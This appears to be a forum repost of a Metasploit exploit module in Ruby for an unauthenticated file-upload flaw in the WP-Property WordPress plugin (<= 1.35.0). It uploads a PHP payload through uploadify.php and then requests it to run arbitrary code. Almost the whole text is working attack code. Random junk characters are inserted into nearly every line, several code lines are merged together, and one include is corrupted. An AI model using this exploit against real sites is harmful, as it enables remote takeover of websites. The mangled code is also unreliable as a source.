WordPress WP-Property PHP 文件上传漏洞
5 b: G# L0 i, W3 v1 ~+ t; ~/ Z' m# S" K" P( {+ S0 J, |3 z5 Z5 C
## # This file is part of the Metasploit Framework and may be subject to
/ A6 Q2 }4 v! y+ O3 p `! o0 K/ S
5 d# {( K: j. T, @4 }$ ~) m8 ?# redistribution and commercial restrictions. Please see the Metasploit+ E' G% R8 @$ ?: \( i# r3 l
% c9 l; r! i6 J
# Framework web site for more information on licensing and terms of use.$ h/ D3 v7 i- r6 o5 G/ N6 h3 A
5 v! e7 W- T6 ?) X- a# http://metasploit.com/framework/ ##
* Z* ]3 U8 u C. T# B! T/ ?# V1 B5 L
/ N7 L% z4 \# Y/ z: y! V
& c) W* j0 ]1 {5 V) P. y# [0 p
# Q& d c0 ^! o& A
! ^+ O' Q5 E3 V' J$ `, R6 H3 Zrequire 'msf/core'( b. n" C+ w. U
require 'msf/core/exploit/php_exe'9 S3 u7 x4 M: h1 _
5 a& n" S1 K+ E8 Fclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',7 s$ t7 R, S) @' {; w( _ V
'Description' => %q{" y+ G" j1 ?9 B* K% L9 |8 L
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
3 \+ I2 W7 _/ e: h7 @[
X6 z( l- f0 E'Sammy FORGIT', # initial discovery
" S* d3 Y0 T p2 o( e" o+ F3 }'James Fitts <fitts.james[at]gmail.com>' # metasploit module
G3 [1 ^( T- ~3 U. x! y0 R5 a. c],- I2 N; H0 r6 L, _$ _0 b
'License' => MSF_LICENSE,
! P6 M8 q7 e+ T% u8 e'References' =>
+ B6 y" ]* i" w. U& q& h[
2 V8 c* Y7 R/ R[ 'OSVDB', '82656' ],
6 \: \ M6 d2 I: b; n# K5 m( t[ 'BID', '53787' ],
2 @9 D; v. H6 ]3 g* V/ _1 `$ [[ 'EDB', '18987']," E" E( O' r& v" _3 q! S
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
2 u( h$ b4 \2 e],7 u. Z4 ?7 B9 K8 ?0 `
'Payload' =>/ q( O% C1 {4 f( ^0 g
{
* y, n* g/ T, w5 u! F2 g- ^'BadChars' => "\x00",1 V- _- n/ }0 j/ _/ \& Q; p
},' X8 @# y% ?; e% F) ]. [
'Platform' => 'php',
1 Y- ?# c3 e3 |4 b P L9 {'Arch' => ARCH_PHP, |( J9 k2 O3 Z$ @, Y
'Targets' =>/ ^8 t% K/ k8 q4 z$ Z
[
% l9 N- d. g/ K" Z[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
0 b2 L$ W, u1 p" I2 \[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
7 G3 Y z S, b6 `2 T; b],) Z) j2 `" v( N5 F7 o6 |" R! c
'DefaultTarget' => 0,
" \8 q6 ?7 w0 z" Q4 t+ a'DisclosureDate' => 'Mar 26 2012'))
( l" o0 b. A) @* z: ~* X5 Q9 ]5 y: e" y: [; ^. p3 U- u3 D
register_options(9 M/ T4 D4 I/ G% k% i/ w( U
[
% Y/ ?6 }- v5 ZOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])& f- N- F# v7 k2 l
], self.class)" |" G" i& N2 }) s
end9 R# \4 c- N Z/ d+ n7 H9 s9 `" L
4 b. {! Z1 g6 q1 Q1 p4 D) ?
def check7 l1 w& M3 \7 S ?4 u' b, G+ R
uri = target_uri.path u: R) e. _/ I# Y
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
6 L; [* L( C2 F3 K2 l$ o'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php". D4 d! Y1 {7 {
}). }. \) R! n& X7 p8 }% s5 B. p* W. t
% x, E* x( i' ^ t" }
if not res or res.code != 200
- N+ ~6 Z4 o, ~6 e. Breturn Exploit::CheckCode::Unknown
/ Z R% b2 A6 b4 D2 q0 tend
$ y/ K W# C+ _) ^" F3 ?; T( W" L5 {/ J: c
return Exploit::CheckCode::Appears
8 Q$ c- Y/ k" l9 cend
8 H0 b/ r( l1 {8 Q' L- j% }" l l$ a( \1 z r8 n: F
def exploit) z5 b, \: F# K* }' z2 f5 u* L
uri = target_uri.path
$ H. V+ @& M5 j/ vuri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
9 o* O# ] u* b- s8 g* [4 p6 {. l2 q a
data = Rex::MIME::Message.new! G8 r+ v( c0 F, T+ F
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
! @3 N( H& q2 A. ?* m# J6 Idata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
2 j/ m# t3 d$ c! F4 x" ]post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
: V/ E8 W" N. y. @/ c. F/ G! F, w/ a
. {7 b" I" |" mprint_status("#{peer} - Uploading payload #{@payload_name}")# E7 _& I+ L) n
res = send_request_cgi({" d+ W/ c& J: M2 \
'method' => 'POST',
' w6 ^8 L7 D- K* v'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
* Q x- }: @+ @/ o) p'ctype' => "multipart/form-data; boundary=#{data.bound}",
`1 W) l4 n4 Q/ u% N7 P1 q'data' => post_data
- B1 P9 j$ s8 X( v( N& C})
$ b2 ^$ G' {* Y
+ @9 z1 u* v4 t8 i0 d/ Kif not res or res.code != 200 or res.body !~ /#{@payload_name}// ?8 v; `) O( o6 r: \. u
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")( j$ B& a$ b# N, M
end; |- v& S9 V$ u* P8 O
3 [ a" Y8 B% E. l4 b9 k, K9 pupload_uri = res.body
8 |/ \: C" r) C6 c. }
' V" q! I: g. d8 b) Qprint_status("#{peer} - Executing payload #{@payload_name}")) [ b( n8 N$ ]/ w4 Y) ~
res = send_request_raw({
& N- n8 f$ e% o; ~- l'uri' => upload_uri,. H; r" ~5 [( @2 @5 B" Q
'method' => 'GET') t$ S9 a8 G$ B# E
})' ]- c) e" R9 _ Z. ~ G1 L
end( u8 o$ |3 h' A- P* q o. p; ]
end& e2 `$ T# f" x: A; E4 y# ]
0 M6 c3 j1 {) ?- U不要问我这写的是什么 怎么利用 我是说msf.
; t. H2 u8 y( ^+ j; a
( D' d7 \9 v5 R# U& r. f |